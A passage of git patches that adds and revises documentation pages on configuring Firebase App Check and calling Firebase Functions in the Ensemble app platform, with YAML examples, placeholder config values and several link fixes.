From f26b3edf164bb1d063e46d04130c5236d66b8345 Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Wed, 23 Jul 2025 07:21:27 +0500 Subject: [PATCH 01/16] added docs for appcheck and firebase functions --- pages/firebase/_meta.json | 6 + pages/firebase/firebase-appcheck.mdx | 269 +++++++++++++++++ pages/firebase/firebase-functions.mdx | 402 ++++++++++++++++++++++++++ 3 files changed, 677 insertions(+) create mode 100644 pages/firebase/firebase-appcheck.mdx create mode 100644 pages/firebase/firebase-functions.mdx diff --git a/pages/firebase/_meta.json b/pages/firebase/_meta.json index be8d6b3..0b9d8ca 100644 --- a/pages/firebase/_meta.json +++ b/pages/firebase/_meta.json @@ -4,5 +4,11 @@ }, "firestore-operations": { "title": "Firestore" + }, + "firebase-functions": { + "title": "Firebase Functions" + }, + "firebase-appcheck": { + "title": "Firebase Appcheck" } } diff --git a/pages/firebase/firebase-appcheck.mdx b/pages/firebase/firebase-appcheck.mdx new file mode 100644 index 0000000..7b93e83 --- /dev/null +++ b/pages/firebase/firebase-appcheck.mdx @@ -0,0 +1,269 @@ +import { Callout } from 'nextra/components' + +# Firebase App Check Configuration + +[Firebase App Check](https://firebase.google.com/docs/app-check) helps protect your API resources from abuse by preventing unauthorized clients from accessing your backend resources. Ensemble platform provides seamless integration with Firebase App Check, ensuring that only legitimate requests from your verified app can access your Firebase services. + +Unlike traditional API security measures, App Check provides automatic app verification that works transparently with your existing Firebase services. App Check is an excellent security addition for Ensemble applications because it provides automatic app verification, protection against abuse, seamless integration with Firebase services, and minimal performance impact. + +Now, let's dive into configuring Firebase App Check for our Ensemble application: + + + App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](pages/firebase/configuration.mdx). + + +- To get hands-on experience with App Check configuration, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/W7b1n4a1LVoQgLyAie4F) + +## 1. Environment Configuration + +To enable App Check security in your Ensemble application, you'll need to configure environment variables and Firebase service files. Follow these steps to set up the necessary configuration: + +### Enabling App Check +Add an environment variable named `firebase_app_check` and set its value to `true` to enforce App Check security across your application. + +**Example**: +```bash +firebase_app_check=true +``` +**Explanation**: +- `firebase_app_check=true`: Enables App Check verification for all Firebase API calls in your Ensemble application. + +### Firebase Service Files Configuration +Configure the `firebase_config` environment variable with platform-specific configuration extracted from your Firebase service files. + +**Example**: +```json +{ + "web": { + "apiKey": "your-web-api-key", + "authDomain": "your-project.firebaseapp.com", + "projectId": "your-project-id", + "storageBucket": "your-project.appspot.com", + "messagingSenderId": "123456789", + "appId": "1:123456789:web:abcdef123456" + }, + "android": { + "apiKey": "your-android-api-key", + "appId": "1:123456789:android:abcdef123456", + "messagingSenderId": "123456789", + "projectId": "your-project-id", + "storageBucket": "your-project.appspot.com" + }, + "ios": { + "apiKey": "your-ios-api-key", + "appId": "1:123456789:ios:abcdef123456", + "messagingSenderId": "123456789", + "projectId": "your-project-id", + "storageBucket": "your-project.appspot.com", + "iosBundleId": "com.your.app.bundle" + } +} +``` + +**Explanation**: +- Extract configuration values from your downloaded Firebase service files (`google-services.json` for Android, `GoogleService-Info.plist` for iOS). +- Each platform section contains the necessary keys for App Check verification. + + + Download the required service files from your Firebase console: `google-services.json` for Android and `GoogleService-Info.plist` for iOS before configuring the environment variable. + + +## 2. Types of App Check Operations + +App Check provides different verification methods for different platforms and environments. Here's a breakdown of the main operations and configurations: + +### Debug Token Setup: +Debug tokens are essential for development and testing environments where app verification might not work as expected. + +1. **Example (Android Debug Token Extraction)**: +```bash +# Run the application +flutter run + +# Extract debug token from logs +adb logcat | grep "App Check" +``` +**Explanation**: +- `flutter run`: Starts your application in debug mode. +- `adb logcat | grep "App Check"`: Filters log output to show App Check debug token. +- Look for output like: `App Check debug token: 12345678-ABCD-EFGH-IJKL-123456789012` + +2. **Example (iOS Debug Token Configuration)**: +```yaml +# In Xcode scheme configuration +Environment Variables: + FIRDebugEnabled: YES + FIRAppCheckDebugEnabled: YES +``` +**Explanation**: +- `FIRDebugEnabled`: Enables Firebase debug logging. +- `FIRAppCheckDebugEnabled`: Specifically enables App Check debug token generation. + +### Production Providers: +Configure App Check providers for production environments with enhanced security. + +1. **Example (Android Production Setup)**: +```yaml +# Firebase Console Configuration +Provider: Play Integrity +Status: Enabled +Apps: com.yourapp.package +``` + +2. **Example (iOS Production Setup)**: +```yaml +# Firebase Console Configuration +Provider: App Attest +Fallback: DeviceCheck +Status: Enabled +Apps: com.yourapp.bundle +``` + +3. **Example (Web Production Setup)**: +```yaml +# Firebase Console Configuration +Provider: reCAPTCHA v3 +Site Key: your-recaptcha-site-key +Domains: yourdomain.com +``` + +### Conditional App Check: +Control App Check usage on a per-API basis depending on your security requirements. + +1. **Example (Secure Firebase Function)**: +```yaml +secureFunction: + type: firebaseFunction + name: sensitiveOperation + # App Check enabled by default when firebase_app_check=true + data: + userId: ${currentUser.id} + operation: transfer +``` + +2. **Example (Public Firebase Function)**: +```yaml +publicFunction: + type: firebaseFunction + name: getPublicData + useAppcheck: false # Explicitly disable App Check + data: + category: news + limit: 10 +``` + +3. **Example (Environment-Conditional App Check)**: +```yaml +conditionalFunction: + inputs: + - userId + - isProduction + type: firebaseFunction + name: getUserData + useAppcheck: ${isProduction} # Use App Check only in production + data: + userId: ${userId} +``` + +**Explanation**: +- `useAppcheck: false`: Explicitly disables App Check for public endpoints. +- `useAppcheck: ${isProduction}`: Conditionally enables App Check based on environment variables. +- Default behavior when `firebase_app_check=true` is to enable App Check for all Firebase operations. + +## 3. Response and Monitoring of App Check Operations + +When performing Firebase operations with App Check enabled, you can monitor verification status and handle failures appropriately. Below are examples demonstrating how to handle App Check responses and implement monitoring. + +### 1. Making API calls with App Check monitoring: +```yaml +invokeAPI: + name: secureFirestoreOperation + inputs: + userId: ${userID} + onResponse: + executeCode: + body: |- + console.log('App Check verification successful'); + analytics.logEvent('app_check_success', { + operation: 'firestore_query' + }); + onError: + executeCode: + body: |- + console.log('App Check verification failed:', response.error); + analytics.logEvent('app_check_failure', { + operation: 'firestore_query', + error_code: response.error.code + }); +``` + +### 2. Using App Check status in UI components: +```yaml +Column: + children: + - Column: + styles: + visible: '${secureFirestoreOperation.isLoading ? true : false}' + children: + - Progress: + display: circular + - Text: + text: "Verifying app authenticity..." + - Column: + styles: + visible: '${secureFirestoreOperation.isSuccess ? true : false}' + item-template: + data: ${secureFirestoreOperation.body.documents} + name: item + template: + Text: + text: ${item.name} + - Column: + styles: + visible: '${secureFirestoreOperation.isError ? true : false}' + children: + - Text: + text: "App verification failed. Please update your app." + styles: + color: red +``` + +### 3. App Check status monitoring: +```yaml +Button: + label: Check App Security Status + onTap: + invokeAPI: + name: checkAppCheckStatus + onResponse: + executeCode: + body: |- + var isVerified = response.body.appCheckVerified || false; + statusIndicator.styles.backgroundColor = isVerified ? 'green' : 'red'; + statusText.text = isVerified ? 'App Verified' : 'Verification Failed'; +``` + +**Explanation**: +- The first child `Column` shows a loading state with an App Check verification message. +- The second child `Column` displays data only when App Check verification succeeds. +- The third child `Column` shows a user-friendly error message when App Check fails. +- The monitoring example demonstrates how to check and display App Check verification status. + +## 4. Troubleshooting Common App Check Issues + +### Debug Token Issues + +**Debug Token Not Working**: Ensure the token is correctly copied without extra spaces, verify it's added to the correct app in Firebase Console, and check that debug environment variables are properly set. + + +### Production Verification Failures + +**App Check Failing in Production**: Verify Play Integrity/App Attest is properly configured, check that your app is signed with correct certificates, and ensure your app is published or in internal testing. + + +### Web Configuration Issues + +**Web App Check Issues**: Verify reCAPTCHA configuration and site keys, check that your domain is whitelisted, and ensure the reCAPTCHA script loads correctly. + + +By implementing Firebase App Check with these operations, you can significantly enhance the security of your Ensemble application. App Check's real-time verification capabilities and seamless integration make it a powerful tool for protecting your Firebase resources from unauthorized access and abuse. \ No newline at end of file diff --git a/pages/firebase/firebase-functions.mdx b/pages/firebase/firebase-functions.mdx new file mode 100644 index 0000000..61547c0 --- /dev/null +++ b/pages/firebase/firebase-functions.mdx @@ -0,0 +1,402 @@ +--- +title: "Calling Firebase Functions APIs" +description: "Learn how to integrate and call Firebase Functions in your Ensemble applications" +--- + +import { Callout } from 'nextra/components' + +# Calling Firebase Functions APIs + +Firebase Functions allows you to run backend code in response to events triggered by Firebase features and HTTPS requests. Ensemble platform provides seamless integration with Firebase Functions, enabling you to call serverless functions from your app effortlessly. + +Unlike traditional server setups, Firebase Functions offers a serverless architecture that automatically scales based on demand. Firebase Functions is an excellent choice for Ensemble applications because it provides automatic scaling, secure execution environment, easy deployment, and simplified backend logic without server management. + +Now, let's dive into implementing Firebase Functions in our Ensemble application: + + +Operations on Firebase Functions won't work unless we have configured our Ensemble application with Firebase. Learn how to configure it here. + + + +To get hands-on experience with Firebase Functions operations, check the live example on Ensemble Studio. + + +## 1. Environment Configuration + +### Setting Up API Providers +To use Firebase Functions, create an environment variable named `api_providers` and add "firebase" to it. + + +**Note:** You can use multiple api_providers by using comma-separated values (e.g., firestore,firebase) + + +**Example:** +```bash +api_providers=firestore,firebase +``` + +## 2. Types of Firebase Functions Operations + +Firebase Functions offers various ways to interact with your serverless backend. Here's a breakdown of core operations along with demo API calls for our Ensemble app: + +### Basic Function Call: +This operation calls a Firebase Function without any parameters. + +**Example (Simple function call):** +```yaml +testFunction: + type: firebaseFunction + name: helloWorld +``` + +**Explanation:** +- `type: firebaseFunction`: Specifies that the operation is for Firebase Functions +- `name`: The name of the Firebase Function to call + +### Function Call with Data: +This operation calls a Firebase Function with input parameters. + +**Example (Function with parameters):** +```yaml +createUser: + inputs: + - email + - displayName + type: firebaseFunction + name: createCustomUser + data: + email: ${email} + displayName: ${displayName} + role: user + createdAt: ${new Date().toISOString()} +``` + +**Explanation:** +- `inputs`: Dynamic variables that can be passed to the function +- `data`: The payload sent to the Firebase Function +- Values can be static or use dynamic variables with `${variableName}` syntax + +### Function Call with Custom Headers: +You can add custom headers to your Firebase Function calls. + +**Example (With custom headers):** +```yaml +authenticatedCall: + inputs: + - authToken + - userId + type: firebaseFunction + name: getUserProfile + headers: + Authorization: Bearer ${authToken} + Content-Type: application/json + X-Custom-Header: ensemble-app + data: + userId: ${userId} + includePrivateData: true +``` + +**Explanation:** +- `headers`: Custom HTTP headers to include with the request +- Useful for authentication tokens, content types, or custom application headers + +### Function Call with HTTP Methods: +By default, Firebase Functions use POST method, but you can specify other methods if your function supports them. + +**Example (GET request):** +```yaml +getPublicData: + type: firebaseFunction + name: getNews + method: GET + query: + category: technology + limit: 10 +``` + +**Explanation:** +- `method`: HTTP method for the request (GET, POST, PUT, DELETE) +- `query`: Query parameters for GET requests + +## 3. Response Handling of Firebase Functions + +When performing Firebase Functions operations, you may need to handle responses and errors appropriately. Below are common patterns for handling API responses in your Ensemble app. + +### 1. Making an API call: +```yaml +invokeAPI: + name: myFunction + inputs: + userId: ${userID} +``` + +You can also use `onResponse` & `onError` on Firebase Function API calls and perform operations on the response. + +### 2. Complete Function Definition with Response Handling: +```yaml +API: + getUserData: + inputs: + - userId + type: firebaseFunction + name: fetchUserProfile + data: + userId: ${userId} + includeStats: true + onResponse: + executeCode: + body: |- + console.log('User data fetched successfully'); + console.log(response.body); + userNameText.text = response.body.user.name; + userEmailText.text = response.body.user.email; + onError: + executeCode: + body: |- + console.log('Failed to fetch user data'); + console.log(response.error); + errorText.text = "Error: " + response.error.message; + + sendNotification: + inputs: + - message + - recipientId + type: firebaseFunction + name: sendPushNotification + data: + message: ${message} + recipientId: ${recipientId} + priority: high + onResponse: + executeCode: + body: |- + console.log('Notification sent successfully'); + statusText.text = "Notification sent!"; + statusText.styles = { color: "green" }; + onError: + executeCode: + body: |- + console.log('Failed to send notification'); + statusText.text = "Failed to send notification"; + statusText.styles = { color: "red" }; +``` + +### 3. Using response in UI Components: +To display data based on the API call's state (loading, success, error), you can use the following structure: + +```yaml +Column: + children: + - Column: + styles: + visible: '${getUserData.isLoading ? true : false}' + children: + - Progress: + display: circular + - Text: + text: "Loading user data..." + - Column: + styles: + visible: '${getUserData.isSuccess ? true : false}' + children: + - Text: + id: userNameText + text: "Name: ${getUserData.body.user.name}" + - Text: + id: userEmailText + text: "Email: ${getUserData.body.user.email}" + - Text: + text: "Last Login: ${getUserData.body.user.lastLogin}" + - Column: + styles: + visible: '${getUserData.isError ? true : false}' + children: + - Text: + id: errorText + text: "Failed to load user data" + styles: + color: red +``` + +**Explanation:** +- The first child Column is visible only when the API call is loading (`visible: '${getUserData.isLoading ? true : false}'`). It shows a circular progress indicator. +- The second child Column is visible only when the API call is successful (`visible: '${getUserData.isSuccess ? true : false}'`). It displays the function result. +- The third child Column is visible only when there is an error (`visible: '${getUserData.isError ? true : false}'`). It shows an error message. + +### 4. Using Function Response in Forms: +```yaml +Form: + children: + - TextInput: + id: emailInput + label: Email Address + required: true + - TextInput: + id: messageInput + label: Message + multiline: true + - Button: + label: Send Email + onTap: + invokeAPI: + name: sendEmail + inputs: + email: ${emailInput.value} + message: ${messageInput.value} + - Text: + id: emailResult + styles: + visible: '${sendEmail.isSuccess ? true : false}' + color: green + text: "Email sent successfully!" + - Text: + id: emailError + styles: + visible: '${sendEmail.isError ? true : false}' + color: red + text: "Failed to send email: ${sendEmail.error.message}" +``` + +### 5. Using response in ListView: +```yaml +ListView: + item-template: + data: ${getNotifications.body.notifications} + name: notification + template: + Card: + padding: 16 + margin: 8 + children: + - Text: + text: ${notification.title} + styles: + fontSize: 18 + fontWeight: bold + - Text: + text: ${notification.message} + styles: + fontSize: 14 + color: gray + - Text: + text: ${notification.timestamp} + styles: + fontSize: 12 + color: lightgray +``` + +## 4. Advanced Features + +### Batch Function Calls: +You can call multiple Firebase Functions sequentially or handle complex workflows. + +**Example (Sequential calls):** +```yaml +API: + processOrder: + inputs: + - orderId + type: firebaseFunction + name: validateOrder + data: + orderId: ${orderId} + onResponse: + invokeAPI: + name: chargePayment + inputs: + orderId: ${orderId} + amount: ${response.body.totalAmount} + + chargePayment: + inputs: + - orderId + - amount + type: firebaseFunction + name: processPayment + data: + orderId: ${orderId} + amount: ${amount} + onResponse: + invokeAPI: + name: sendConfirmation + inputs: + orderId: ${orderId} +``` + +### Error Handling with Retry Logic: +```yaml +API: + reliableFunction: + type: firebaseFunction + name: criticalOperation + data: + operation: important + onError: + executeCode: + body: |- + console.log('Function failed, implementing retry logic'); + if (response.error.code === 'timeout') { + // Retry after a delay + setTimeout(() => { + invokeAPI({ name: 'reliableFunction' }); + }, 2000); + } +``` + +## 5. Best Practices + +### Input Validation: +Always validate inputs before sending to Firebase Functions: + +```yaml +validateAndSubmit: + inputs: + - email + - password + type: firebaseFunction + name: createAccount + data: + email: ${email} + password: ${password} + condition: '${email.includes("@") && password.length >= 8}' + onResponse: + executeCode: + body: |- + console.log('Account created successfully'); + navigateToScreen('welcome'); + onError: + executeCode: + body: |- + console.log('Account creation failed'); + showErrorDialog(response.error.message); +``` + +### Loading States: +Provide clear feedback during function execution: + +```yaml +Button: + label: '${submitForm.isLoading ? "Processing..." : "Submit"}' + enabled: '${!submitForm.isLoading}' + onTap: + invokeAPI: + name: submitForm +``` + +## 6. Troubleshooting + +### Common Issues +- Ensure Firebase Functions are deployed and accessible +- Verify function names match exactly (case-sensitive) +- Check that the Firebase project is correctly configured +- Confirm internet connectivity for function calls + +### Debug Tips +- Use console.log in onResponse and onError handlers to inspect responses +- Check Firebase Console for function logs and error details +- Test functions independently using Firebase Console or Postman +- Verify function permissions and authentication requirements + + +By using these operations, you can efficiently call Firebase Functions from your Ensemble application. Firebase Functions' serverless architecture makes it a powerful solution for any backend logic your application needs. + \ No newline at end of file From cbbeaf6090f0bbf3abb974c0e2556c42e45b8336 Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Wed, 23 Jul 2025 07:29:20 +0500 Subject: [PATCH 02/16] fix 1 --- pages/firebase/firebase-appcheck.mdx | 28 ---------------------------- 1 file changed, 28 deletions(-) diff --git a/pages/firebase/firebase-appcheck.mdx b/pages/firebase/firebase-appcheck.mdx index 7b93e83..479781b 100644 --- a/pages/firebase/firebase-appcheck.mdx +++ b/pages/firebase/firebase-appcheck.mdx @@ -12,7 +12,6 @@ Now, let's dive into configuring Firebase App Check for our Ensemble application App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](pages/firebase/configuration.mdx). -- To get hands-on experience with App Check configuration, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/W7b1n4a1LVoQgLyAie4F) ## 1. Environment Configuration @@ -99,33 +98,6 @@ Environment Variables: - `FIRDebugEnabled`: Enables Firebase debug logging. - `FIRAppCheckDebugEnabled`: Specifically enables App Check debug token generation. -### Production Providers: -Configure App Check providers for production environments with enhanced security. - -1. **Example (Android Production Setup)**: -```yaml -# Firebase Console Configuration -Provider: Play Integrity -Status: Enabled -Apps: com.yourapp.package -``` - -2. **Example (iOS Production Setup)**: -```yaml -# Firebase Console Configuration -Provider: App Attest -Fallback: DeviceCheck -Status: Enabled -Apps: com.yourapp.bundle -``` - -3. **Example (Web Production Setup)**: -```yaml -# Firebase Console Configuration -Provider: reCAPTCHA v3 -Site Key: your-recaptcha-site-key -Domains: yourdomain.com -``` ### Conditional App Check: Control App Check usage on a per-API basis depending on your security requirements. From 11361fdc21af899e8f80ed0987212158bfec358a Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Wed, 23 Jul 2025 07:40:30 +0500 Subject: [PATCH 03/16] fix -2 --- pages/firebase/firebase-appcheck.mdx | 2 +- pages/firebase/firebase-functions.mdx | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pages/firebase/firebase-appcheck.mdx b/pages/firebase/firebase-appcheck.mdx index 479781b..b2c9e5c 100644 --- a/pages/firebase/firebase-appcheck.mdx +++ b/pages/firebase/firebase-appcheck.mdx @@ -9,7 +9,7 @@ Unlike traditional API security measures, App Check provides automatic app verif Now, let's dive into configuring Firebase App Check for our Ensemble application: - App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](pages/firebase/configuration.mdx). + App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](pages/firebase/firestore.mdx#2-types-of-firestore-operations). diff --git a/pages/firebase/firebase-functions.mdx b/pages/firebase/firebase-functions.mdx index 61547c0..1075c45 100644 --- a/pages/firebase/firebase-functions.mdx +++ b/pages/firebase/firebase-functions.mdx @@ -14,7 +14,7 @@ Unlike traditional server setups, Firebase Functions offers a serverless archite Now, let's dive into implementing Firebase Functions in our Ensemble application: -Operations on Firebase Functions won't work unless we have configured our Ensemble application with Firebase. Learn how to configure it here. + Firebase function integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](pages/firebase/firestore.mdx#2-types-of-firestore-operations). From 4e699eb1016791c0b76288c0246d2f5b9b30f586 Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Wed, 23 Jul 2025 07:49:50 +0500 Subject: [PATCH 04/16] fix 3 --- pages/firebase/firebase-appcheck.mdx | 2 +- pages/firebase/firebase-functions.mdx | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pages/firebase/firebase-appcheck.mdx b/pages/firebase/firebase-appcheck.mdx index b2c9e5c..b67c721 100644 --- a/pages/firebase/firebase-appcheck.mdx +++ b/pages/firebase/firebase-appcheck.mdx @@ -9,7 +9,7 @@ Unlike traditional API security measures, App Check provides automatic app verif Now, let's dive into configuring Firebase App Check for our Ensemble application: - App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](pages/firebase/firestore.mdx#2-types-of-firestore-operations). + App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](firestore-operations.mdx#2-types-of-firestore-operations). diff --git a/pages/firebase/firebase-functions.mdx b/pages/firebase/firebase-functions.mdx index 1075c45..ec53287 100644 --- a/pages/firebase/firebase-functions.mdx +++ b/pages/firebase/firebase-functions.mdx @@ -14,7 +14,7 @@ Unlike traditional server setups, Firebase Functions offers a serverless archite Now, let's dive into implementing Firebase Functions in our Ensemble application: - Firebase function integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](pages/firebase/firestore.mdx#2-types-of-firestore-operations). + Firebase function integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](firestore-operations.mdx#2-types-of-firestore-operations). From bd7e82276333f16835872ee4581bb9d225f865e5 Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Wed, 23 Jul 2025 07:53:55 +0500 Subject: [PATCH 05/16] fix 4 --- pages/firebase/firebase-appcheck.mdx | 2 +- pages/firebase/firebase-functions.mdx | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pages/firebase/firebase-appcheck.mdx b/pages/firebase/firebase-appcheck.mdx index b67c721..0845bef 100644 --- a/pages/firebase/firebase-appcheck.mdx +++ b/pages/firebase/firebase-appcheck.mdx @@ -9,7 +9,7 @@ Unlike traditional API security measures, App Check provides automatic app verif Now, let's dive into configuring Firebase App Check for our Ensemble application: - App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](firestore-operations.mdx#2-types-of-firestore-operations). + App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-types-of-firestore-operations). diff --git a/pages/firebase/firebase-functions.mdx b/pages/firebase/firebase-functions.mdx index ec53287..504166f 100644 --- a/pages/firebase/firebase-functions.mdx +++ b/pages/firebase/firebase-functions.mdx @@ -14,7 +14,7 @@ Unlike traditional server setups, Firebase Functions offers a serverless archite Now, let's dive into implementing Firebase Functions in our Ensemble application: - Firebase function integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](firestore-operations.mdx#2-types-of-firestore-operations). + Firebase function integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-types-of-firestore-operations). From 113a94578e9af47599e6a7b4c1b2615b4eaa0b6e Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Wed, 23 Jul 2025 07:59:24 +0500 Subject: [PATCH 06/16] fix 5 --- pages/firebase/firebase-appcheck.mdx | 2 +- pages/firebase/firebase-functions.mdx | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pages/firebase/firebase-appcheck.mdx b/pages/firebase/firebase-appcheck.mdx index 0845bef..7ab88e1 100644 --- a/pages/firebase/firebase-appcheck.mdx +++ b/pages/firebase/firebase-appcheck.mdx @@ -9,7 +9,7 @@ Unlike traditional API security measures, App Check provides automatic app verif Now, let's dive into configuring Firebase App Check for our Ensemble application: - App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-types-of-firestore-operations). + App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-configure-ensemble-app). diff --git a/pages/firebase/firebase-functions.mdx b/pages/firebase/firebase-functions.mdx index 504166f..39f59c1 100644 --- a/pages/firebase/firebase-functions.mdx +++ b/pages/firebase/firebase-functions.mdx @@ -14,7 +14,7 @@ Unlike traditional server setups, Firebase Functions offers a serverless archite Now, let's dive into implementing Firebase Functions in our Ensemble application: - Firebase function integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-types-of-firestore-operations). + Firebase function integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-configure-ensemble-app). From 4b5be1eba33a20e81345fad0094fd9c1497cc961 Mon Sep 17 00:00:00 2001 From: M-Taha-Dev Date: Wed, 23 Jul 2025 08:43:40 +0500 Subject: [PATCH 07/16] fix 6 --- pages/firebase/firebase-appcheck.mdx | 140 +------------ pages/firebase/firebase-functions.mdx | 278 ++------------------------ 2 files changed, 24 insertions(+), 394 deletions(-) diff --git a/pages/firebase/firebase-appcheck.mdx b/pages/firebase/firebase-appcheck.mdx index 7ab88e1..7f95c58 100644 --- a/pages/firebase/firebase-appcheck.mdx +++ b/pages/firebase/firebase-appcheck.mdx @@ -9,16 +9,14 @@ Unlike traditional API security measures, App Check provides automatic app verif Now, let's dive into configuring Firebase App Check for our Ensemble application: - App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](configuration.mdx#2-configure-ensemble-app). + App Check integration requires proper Firebase configuration. Ensure your Firebase project is set up before proceeding. Learn how to configure it [here](pages/firebase/configuration.mdx#2-configure-ensemble-app). +- To get hands-on experience with App Check configuration, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/W7b1n4a1LVoQgLyAie4F) ## 1. Environment Configuration -To enable App Check security in your Ensemble application, you'll need to configure environment variables and Firebase service files. Follow these steps to set up the necessary configuration: - -### Enabling App Check -Add an environment variable named `firebase_app_check` and set its value to `true` to enforce App Check security across your application. +To enable App Check security in your Ensemble application, add an environment variable named `firebase_app_check` and set its value to `true` to enforce App Check security across your application. **Example**: ```bash @@ -27,52 +25,13 @@ firebase_app_check=true **Explanation**: - `firebase_app_check=true`: Enables App Check verification for all Firebase API calls in your Ensemble application. -### Firebase Service Files Configuration -Configure the `firebase_config` environment variable with platform-specific configuration extracted from your Firebase service files. - -**Example**: -```json -{ - "web": { - "apiKey": "your-web-api-key", - "authDomain": "your-project.firebaseapp.com", - "projectId": "your-project-id", - "storageBucket": "your-project.appspot.com", - "messagingSenderId": "123456789", - "appId": "1:123456789:web:abcdef123456" - }, - "android": { - "apiKey": "your-android-api-key", - "appId": "1:123456789:android:abcdef123456", - "messagingSenderId": "123456789", - "projectId": "your-project-id", - "storageBucket": "your-project.appspot.com" - }, - "ios": { - "apiKey": "your-ios-api-key", - "appId": "1:123456789:ios:abcdef123456", - "messagingSenderId": "123456789", - "projectId": "your-project-id", - "storageBucket": "your-project.appspot.com", - "iosBundleId": "com.your.app.bundle" - } -} -``` - -**Explanation**: -- Extract configuration values from your downloaded Firebase service files (`google-services.json` for Android, `GoogleService-Info.plist` for iOS). -- Each platform section contains the necessary keys for App Check verification. - - - Download the required service files from your Firebase console: `google-services.json` for Android and `GoogleService-Info.plist` for iOS before configuring the environment variable. - - ## 2. Types of App Check Operations App Check provides different verification methods for different platforms and environments. Here's a breakdown of the main operations and configurations: ### Debug Token Setup: -Debug tokens are essential for development and testing environments where app verification might not work as expected. +Debug tokens are essential for development and testing environments where app verification might not work as expected. To run application with appcheck (Dev environment), you would need to register debug token in firebase console's appcheck section for your project. +For release, you will need to register SHA 256 token of your app with your respective platform (Appstore or Google Play). 1. **Example (Android Debug Token Extraction)**: ```bash @@ -102,7 +61,7 @@ Environment Variables: ### Conditional App Check: Control App Check usage on a per-API basis depending on your security requirements. -1. **Example (Secure Firebase Function)**: +**Example (Secure Firebase Function)**: ```yaml secureFunction: type: firebaseFunction @@ -113,34 +72,6 @@ secureFunction: operation: transfer ``` -2. **Example (Public Firebase Function)**: -```yaml -publicFunction: - type: firebaseFunction - name: getPublicData - useAppcheck: false # Explicitly disable App Check - data: - category: news - limit: 10 -``` - -3. **Example (Environment-Conditional App Check)**: -```yaml -conditionalFunction: - inputs: - - userId - - isProduction - type: firebaseFunction - name: getUserData - useAppcheck: ${isProduction} # Use App Check only in production - data: - userId: ${userId} -``` - -**Explanation**: -- `useAppcheck: false`: Explicitly disables App Check for public endpoints. -- `useAppcheck: ${isProduction}`: Conditionally enables App Check based on environment variables. -- Default behavior when `firebase_app_check=true` is to enable App Check for all Firebase operations. ## 3. Response and Monitoring of App Check Operations @@ -156,70 +87,13 @@ invokeAPI: executeCode: body: |- console.log('App Check verification successful'); - analytics.logEvent('app_check_success', { - operation: 'firestore_query' - }); + onError: executeCode: body: |- console.log('App Check verification failed:', response.error); - analytics.logEvent('app_check_failure', { - operation: 'firestore_query', - error_code: response.error.code - }); ``` -### 2. Using App Check status in UI components: -```yaml -Column: - children: - - Column: - styles: - visible: '${secureFirestoreOperation.isLoading ? true : false}' - children: - - Progress: - display: circular - - Text: - text: "Verifying app authenticity..." - - Column: - styles: - visible: '${secureFirestoreOperation.isSuccess ? true : false}' - item-template: - data: ${secureFirestoreOperation.body.documents} - name: item - template: - Text: - text: ${item.name} - - Column: - styles: - visible: '${secureFirestoreOperation.isError ? true : false}' - children: - - Text: - text: "App verification failed. Please update your app." - styles: - color: red -``` - -### 3. App Check status monitoring: -```yaml -Button: - label: Check App Security Status - onTap: - invokeAPI: - name: checkAppCheckStatus - onResponse: - executeCode: - body: |- - var isVerified = response.body.appCheckVerified || false; - statusIndicator.styles.backgroundColor = isVerified ? 'green' : 'red'; - statusText.text = isVerified ? 'App Verified' : 'Verification Failed'; -``` - -**Explanation**: -- The first child `Column` shows a loading state with an App Check verification message. -- The second child `Column` displays data only when App Check verification succeeds. -- The third child `Column` shows a user-friendly error message when App Check fails. -- The monitoring example demonstrates how to check and display App Check verification status. ## 4. Troubleshooting Common App Check Issues diff --git a/pages/firebase/firebase-functions.mdx b/pages/firebase/firebase-functions.mdx index 39f59c1..82d282c 100644 --- a/pages/firebase/firebase-functions.mdx +++ b/pages/firebase/firebase-functions.mdx @@ -76,48 +76,6 @@ createUser: - `data`: The payload sent to the Firebase Function - Values can be static or use dynamic variables with `${variableName}` syntax -### Function Call with Custom Headers: -You can add custom headers to your Firebase Function calls. - -**Example (With custom headers):** -```yaml -authenticatedCall: - inputs: - - authToken - - userId - type: firebaseFunction - name: getUserProfile - headers: - Authorization: 